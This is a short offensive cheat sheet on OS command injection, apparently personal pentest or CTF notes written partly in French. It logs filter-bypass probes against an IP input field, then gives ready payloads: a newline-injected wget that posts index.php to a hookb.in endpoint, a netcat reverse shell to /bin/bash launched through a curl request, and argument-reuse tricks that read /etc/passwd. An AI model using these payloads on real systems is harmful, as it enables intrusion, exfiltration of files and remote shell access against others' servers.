OS Command Injections

Command Injection

# Command Injection
blablabla ; ls

# Bypass filters
-                                   syntax error
''                                   OK
'127.0.0.1'                    OK
()                                  syntax error
`ls`                               syntax error (car ` filtré donc `ls` => ls) 
`;`                                OK
127.|0.0.1                    OK => | filtré
127.0.&0.1                   OK => & filtré
127.0.;0.1                    OK => ; filtré
127.0.$0.1                   OK => $ filtré
127.0.`0.1                    OK => ` filtré
127.0.``0.1                  OK => ` filtré
127.0.'0.1                     syntax error => ' pas filtré
127.0.''0.1                    OK => '' string vide donc sans effet
192.198.169.198          NOK
127.0.0.1 127.0.0.1      NOK => comme sur un host normal, donc espaces acceptés
127 .0.0.1                     syntax error => confirme espace OK
#127.0.0.1                    syntax error
127.0.0.1 #127.0.0.1   OK => # pas filtré
127.0.0.1 -L                  OK
127.0.0.1 -c 1               syntax error
127.0.0.1 -i 10              OK, long time (>20s) donc argument pris en compte
127.0.0.1%0asleep 20  longue attente (20s + ~3), donc commande probablement exécutée après

# You can then use wget and --post-file option to exfiltrate data
127.0.0.1%0awget%20--post-file%20index.php%20https://hookb.in/xxxxxx

# Or you can use nc to get a reverse shell
nc -lvvp 4444
curl  <target/index.php> --data 'ip=`www.google.fr%0anc.traditional MON_IP 4444 -e /bin/bash`'
# If some char are filtered you can play with argument reuse
?args=%0A&args=c:at&args=/etc/passwd
?args[]=%0A&args[]=c:at&args[]=/etc/passwd
?&args[]=cat&args[]=/etc/passwd